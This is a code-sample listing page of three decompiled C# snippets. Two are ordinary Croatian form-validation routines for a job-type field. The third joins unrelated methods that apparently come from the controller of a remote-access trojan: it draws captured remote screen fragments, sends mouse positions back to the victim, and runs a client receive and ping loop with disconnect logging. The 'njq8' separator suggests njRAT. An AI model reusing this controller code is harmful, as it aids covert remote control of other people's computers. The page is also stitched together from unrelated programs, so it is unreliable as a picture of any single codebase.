Ejemplo n.º 1
0
        private bool ProvjeraPrijeSpremanja()
        {
            bool flag = false;

            if (this.cbSifra.Value == null)
            {
                flag = true;
            }
            NewLateBinding.LateIndexSetComplex(this.BindingContext[this._drvVrstaPosla].Current, new object[] { "DDIDVRSTAPOSLA", RuntimeHelpers.GetObjectValue(this.cbSifra.Value) }, null, false, true);
            if (flag)
            {
                MessageBox.Show("Greška prilikom spremanja podataka", "Spremi", MessageBoxButtons.OK, MessageBoxIcon.Hand);
                return(false);
            }
            return(true);
        }
Ejemplo n.º 2
0
        private void cbSifraValidating(object sender, CancelEventArgs e)
        {
            bool flag = false;

            DataRow[] rowArray = null;
            if ((this.cbSifra.Value != null) && DB.IsInteger(Conversions.ToString(this.cbSifra.Value)))
            {
                rowArray = this.DdvrsteposlaDataSet1.DDVRSTEPOSLA.Select("DDIDVRSTAPOSLA = " + Conversions.ToString(DB.N20(DB.IzvuciSamoBrojke(Conversions.ToString(this.cbSifra.Value), true))));
            }
            if ((rowArray != null) && (rowArray.Length > 0))
            {
                NewLateBinding.LateIndexSetComplex(this.BindingContext[this._drvVrstaPosla].Current, new object[] { "DDNAZIVVRSTAPOSLA", RuntimeHelpers.GetObjectValue(rowArray[0]["DDNAZIVVRSTAPOSLA"]) }, null, false, true);
                flag = true;
            }
            if (!flag)
            {
                NewLateBinding.LateIndexSetComplex(this.BindingContext[this._drvVrstaPosla].Current, new object[] { "DDNAZIVVRSTAPOSLA", "" }, null, false, true);
            }
        }
Ejemplo n.º 3
0
        // Token: 0x06000095 RID: 149 RVA: 0x00008760 File Offset: 0x00006960
        public void PktToImage(byte[] BY)
        {
            if (Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                this.sk.Send(string.Concat(new string[]
                {
                    "@",
                    ima.Y,
                    Conversions.ToString(this.C1.SelectedIndex),
                    ima.Y,
                    this.C2.Text,
                    ima.Y,
                    Conversions.ToString(this.C.Value)
                }));
            }
            Point right;

            if (!(this.op == right) && Operators.CompareString(this.Button1.Text, "Stop", false) == 0)
            {
                Point point = new Point(0, 0);
                point.X = this.op.X;
                point.Y = this.op.Y;
                this.op = default(Point);
                this.sk.Send(string.Concat(new string[]
                {
                    "$",
                    ima.Y,
                    Conversions.ToString(point.X),
                    ima.Y,
                    Conversions.ToString(point.Y),
                    ima.Y
                }));
            }
            Array        instance = Fungsi.fx(BY, "njq8");
            MemoryStream stream   = new MemoryStream((byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                1
            }, null));
            Bitmap bitmap = (Bitmap)Image.FromStream(stream);

            byte[] array = (byte[])NewLateBinding.LateIndexGet(instance, new object[]
            {
                0
            }, null);
            string arg_1DB_0 = Fungsi.BS(ref array);

            NewLateBinding.LateIndexSetComplex(instance, new object[]
            {
                0,
                array
            }, null, true, false);
            string[] array2 = Strings.Split(arg_1DB_0, ",", -1, CompareMethod.Binary);
            checked
            {
                this.siz2 = Fungsi.Siz((long)BY.Length);
                this.siz1 = array2.Length - 2;
                IntPtr   callbackData;
                Bitmap   bitmap2   = (Bitmap)this.P1.Image.GetThumbnailImage(Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[0], ".", -1, CompareMethod.Binary)[1]), null, callbackData);
                Graphics graphics  = Graphics.FromImage(bitmap2);
                int      num       = 0;
                int      arg_25E_0 = 1;
                int      num2      = array2.Length - 2;
                int      num3      = arg_25E_0;
                while (true)
                {
                    int arg_3B5_0 = num3;
                    int num4      = num2;
                    if (arg_3B5_0 > num4)
                    {
                        break;
                    }
                    Point     point2    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    Size      size      = new Size(bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Graphics  arg_336_0 = graphics;
                    Bitmap    arg_2F8_0 = bitmap;
                    Rectangle rect      = new Rectangle(0, num, bitmap.Width, Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[2]));
                    Image     arg_336_1 = arg_2F8_0.Clone(rect, bitmap.PixelFormat);
                    Point     point3    = new Point(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]));
                    arg_336_0.DrawImage(arg_336_1, point3);
                    if (this.CheckBox1.Checked)
                    {
                        Rectangle rect2 = new Rectangle(Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[0]), Conversions.ToInteger(Strings.Split(array2[num3], ".", -1, CompareMethod.Binary)[1]), size.Width, size.Height);
                        graphics.DrawRectangle(Pens.Red, rect2);
                    }
                    num += size.Height;
                    num3++;
                }
                graphics.Dispose();
                this.P1.Image = bitmap2;
                if (this.CheckBox4.Checked)
                {
                    try
                    {
                        bitmap2.Save(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, Fungsi.DT()), ".jpg")));
                    }
                    catch (Exception expr_404)
                    {
                        ProjectData.SetProjectError(expr_404);
                        ProjectData.ClearProjectError();
                    }
                }
            }
        }
        // Token: 0x0600099B RID: 2459 RVA: 0x00053A5C File Offset: 0x00051C5C
        private void READ(int id)
        {
            checked
            {
                while (true)
                {
                    if (this.IT[id] == null)
                    {
                        Thread.Sleep(1);
                    }
                    else
                    {
                        Client client = this.IT[id];
                        if (!this.OFF && client.CN)
                        {
                            try
                            {
                                if (!client.Client.Connected)
                                {
                                    goto IL_396;
                                }
                                if (!client.IsPNGED)
                                {
                                    if (client.Ping > 1200)
                                    {
                                        client.IsPNGED = true;
                                        client.Ping    = 0;
                                        if (!client.Send("P"))
                                        {
                                            goto IL_396;
                                        }
                                    }
                                }
                                else if (client.Ping > 3000)
                                {
                                    goto IL_396;
                                }
                                if (client.Client.Available > 0)
                                {
                                    byte[] array = new byte[client.Client.Available - 1 + 1 - 1 + 1];
                                    client.Client.Client.Receive(array, 0, array.Length, SocketFlags.None);
                                    ima.RC   = array.Length;
                                    ima.RC2 += array.Length;
                                    client.M.Write(array, 0, array.Length);
                                    while (true)
                                    {
                                        byte[] array2 = client.M.ToArray();
                                        if (!Fungsi.BS(ref array2).Contains(this.SPL))
                                        {
                                            goto IL_2D3;
                                        }
                                        Array  array3 = this.fx(client.M.ToArray());
                                        byte[] array4 = (byte[])NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            0
                                        }, null);
                                        NewLateBinding.LateIndexSetComplex(array3, new object[]
                                        {
                                            0,
                                            array4
                                        }, null, true, false);
                                        if (Operators.CompareString(Fungsi.BS(ref array4), "P", false) == 0)
                                        {
                                            if (client.L == null)
                                            {
                                                break;
                                            }
                                            object[] array5 = new object[2];
                                            array5[0] = client;
                                            object[] arg_1C1_0 = array5;
                                            int      arg_1C1_1 = 1;
                                            string   text      = "P" + ima.Y + Conversions.ToString(client.Ping);
                                            arg_1C1_0[arg_1C1_1] = Fungsi.SB(ref text);
                                            ima.Req(array5);
                                            client.IsPNGED = false;
                                            client.Ping    = 0;
                                        }
                                        else
                                        {
                                            ima.Req(new object[]
                                            {
                                                client,
                                                RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[]
                                                {
                                                    0
                                                }, null))))
                                            });
                                        }
                                        client.M.Dispose();
                                        client.M = new MemoryStream();
                                        if (array3.Length != 2)
                                        {
                                            goto IL_2D3;
                                        }
                                        client.M.Write((byte[])NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            1
                                        }, null), 0, Conversions.ToInteger(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(array3, new object[]
                                        {
                                            1
                                        }, null)), null, "length", new object[0], null, null, null))));
                                    }
                                    goto IL_396;
                                    IL_2D3 :;
                                }
                            }
                            catch (Exception expr_2D5)
                            {
                                ProjectData.SetProjectError(expr_2D5);
                                Exception projectError = expr_2D5;
                                ProjectData.SetProjectError(projectError);
                                ProjectData.ClearProjectError();
                                ProjectData.ClearProjectError();
                                goto IL_396;
                            }
                            client.Buzy = false;
                            this.IT[id] = null;
                            continue;
                        }
IL_396:
                        client.T.Enabled = false;
                        client.T.Dispose();
                        client.CN = false;
                        List <Client> disconnect = this.Disconnect2;
                        List <Client> obj        = disconnect;
                        lock (obj)
                        {
                            disconnect.Add(client);
                        }
                        this.IT[id] = null;
                        if (ima.F.SLGS3.Checked)
                        {
                            ima.F.Pp1.WRT(new object[]
                            {
                                Color.WhiteSmoke,
                                Fungsi.HM(),
                                Resources._245,
                                client.ip(),
                                Color.Red,
                                "Disconnected "
                            });
                        }
                    }
                }
            }
        }